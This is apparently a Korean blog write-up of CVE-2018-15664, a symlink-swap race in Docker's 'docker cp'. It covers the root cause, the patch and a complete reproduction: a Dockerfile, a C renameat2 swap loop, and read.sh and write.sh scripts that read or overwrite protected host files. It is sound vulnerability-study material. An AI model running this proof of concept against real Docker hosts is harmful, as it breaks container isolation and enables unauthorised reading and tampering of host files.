CVE-2018-15664

구름빵·2022년 1월 21일

개요

취약점 (버전)취약점 종류취약점 설명
Docker Engine 17.06.0-ce ~ 18.06.1-cePath Traversal, Host File Accessdocker cp 명령 중 FollowSymlinklnScope 함수 ⇒ 주어진 경로에 대한 심볼릭 링크가 걸려 있다면 최종적으로 가리키는 원본 파일의 절대 경로를 리턴

배경지식

TOC-TOU (Time Of Check-Time Of Use)

어떠한 자원을 사용하기 전에 자원의 상태를 확인하는 로직(조건-조건에 대한 결과) 사이에서 주로 발생하는 race condition bug

docker 명령어

  • docker cp : 호스트와 도커 컨테이너 사이에서 파일을 이동
  • docker build <디렉터리> : 해당하는 디렉터리의 파일들을 사용해 도커 이미지 빌드

renameat2 함수

두 개의 이름의 디렉터리(심볼릭 링크)에 대하여 서로의 이름을 바꿔주는 함수


Root Cause 분석

“docker cp” 명령을 사용하며 내부적으로 호출되는 FollowSymlinkInScope 함수에서 TOC-TOU가 발생할 수 있는 로직이 존재함.

...
// FollowSymlinkInScope is a wrapper around evalSymlinksInScope that returns an
// absolute path. This function handles paths in a platform-agnostic manner.
func FollowSymlinkInScope(path, root string) (string, error) {
	path, err := filepath.Abs(filepath.FromSlash(path))
	if err != nil {
		return "", err
	}
	root, err = filepath.Abs(filepath.FromSlash(root))
	if err != nil {
		return "", err
	}
	return evalSymlinksInScope(path, root)
}

...

FollowSymlinkInScope 함수에서는 원본 파일의 절대 경로를 확인한 후, 해당 파일에 대한 작업을 시도한다. 이 때 발생하는 시간차를 이용해 원본 파일에 심볼릭 링크를 걸고, 컨테이너 바깥에 위치한 파일을 가리킬 수 있도록 한다.

다시 말해 docker cp 명령의 인자값으로 전달한 컨테이너 내부 경로에 대한 확인을 하고 실제 그 경로의 값을 가져오는 사이의 시간차를 활용해 컨테이너과 호스트 사이의 경계를 허물게 한다.


Exploit 재연

① 환경 세팅 (docker 설치): 17.06.0-ce ~ 18.06.1-ce 버전의 Docker Engine 설치

② 도커 이미지 빌드 (docker build)

# ubuntu 20.04 기반의 이미지

FROM ubuntu:20.04

# 이미지 구성

RUN apt-get update && apt-get install -y gcc

# Dockerfile과 같은 디렉터리에 있는 symlink_swap.c 파일을 컨테이너내에 복사

COPY symlink_swap.c /symlink_swap.c

# 컨테이너 내부의 symlink_swap.c 코드 파일을 컴파일

RUN gcc -o /symlink_swap /symlink_swap.c

# Entrypoint를 symlink_swap으로 지정

ENTRYPOINT ["/symlink_swap"]

△ Dockerfile

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/stat.h>
#include <stdio.h>
#include <fcntl.h>

int main()
{
	symlink("/", "/totally_safe_path");
	// ~~"/"에 존재하는 파일에 대한 심볼릭 링크 파일을 /totally_safe_path에 생성한다.
// -> "/" (root dir)에 대한 심볼릭 링크를 "/totally_safe_path"에 연결한다.

mkdir("/totally_safe_path-stashed", 0755);

// 디렉터리 생성

while (1)

renameat2(AT_FDCWD, "/totally_safe_path", AT_FDCWD, "/totally_safe_path-stashed", RENAME_EXCHANGE);

// systemcall -> 파일 이름 변경

// (flag) RENAME_EXCHANGE: old_path(/totally_safe_path)와 new_path(/totally_safe_path-stashed)를 바꾼다. 다만 두 개의 경로명은 서로 다른 종류여야 한다. (ex. non-empty / empty directory 또는 symbolic link)

return 0;

}

△ symlink_swap.c 코드

  1. symlink("/", "/totally_safe_path")

    symlink

  2. mkdir("/totally_safe_path-stashed", 0755)

    mkdir

  3. renameat2

    renameat2-(1)

    renameat2-(2)

이와 같은 방식으로 “/” (root directory)를 가리키는 디렉터리가 계속해서 바뀐다.

ⓒ TOC-TOU 유도 스크립트 작성 (docker cp)

#!/bin/sh
# Build and run the image.
docker build -t poc .
container_id=$(docker run --rm -d poc)

# Now continually try to copy the files.
i=0
while [ $i -lt 500 ]
do
mkdir "ex${i}"
docker cp "${container_id}:/totally_safe_path/flag01" "ex${i}/out"
# (host) /var/lib/docker/overlay2/dfsvmsagfjiewrw32/totally_safe_path/flag01
# (container) renameat2 반복 실행 중
i=$(($i + 1))
done

chmod 0644 ex*/out

△ read.sh (호스트 파일 시스템 상의 읽기 권한이 없는 파일에 적힌 문자열을 읽음)

#!/bin/sh
# Build and run the image.
docker build -t poc .
container_id=$(docker run --rm -d poc)
echo "SUCCESS -- HOST FILE CHANGED" > localpath

# Now continually try to copy the files.
i=0
while [ $i -lt 500 ]
do
docker cp localpath "${container_id}:/totally_safe_path/flag02"
i=$(($i + 1))
done

△ write.sh (호스트 파일 시스템 상의 쓰기 권한이 없는 파일의 문자열 쓰기)

ⓓ arbitrary file 덮어쓰기 (write.sh 실행)

before write.sh

일반 사용자에게 쓰기권한이 주어지지 않은 파일을 덮어쓰는 것을 목표로 한다.

이 때 ⓒ단계에서 작성한 write.sh 파일을 실행할 때 docker cp 를 통한 TOC-TOU가 유도되며 host상에서 쓰기 권한을 가지고 있지 않았던 파일을 덮어쓸 수 있게 된다.

success


패치 내용

패치 전 docker cp 명령을 사용할 때에는 복사하는 파일/폴더를 tar 압축 후 destination에서 untar한다.

docker cp에서 tar, untar 명령을 수행하는 과정에서 컨테이너 내부의 root directory로 chroot 한 채로 복사를 하도록 패치하며 컨테이너 루트의 상위 디렉터리로 연결된 심볼릭 링크가 불가능하도록 한다.


참고자료

https://www.cvedetails.com/cve/CVE-2018-15664/
https://github.com/cyphar/filepath-securejoin
https://blog.alyac.co.kr/2342
https://core-research-team.github.io/2021-04-01/Docker-Race-Condition-Vulnerability-CVE-2018-15664

▼ 특정 버전의 Docker 다운로드
https://download.docker.com/linux/static/stable/x86_64/
https://skylit.tistory.com/415

▼ FollowSymlinkInScope 함수 정의 부분
https://github.com/moby/moby/blob/17.05.x/pkg/symlink/fs.go

profile
ฅʕ•̫͡•ʔฅ

0개의 댓글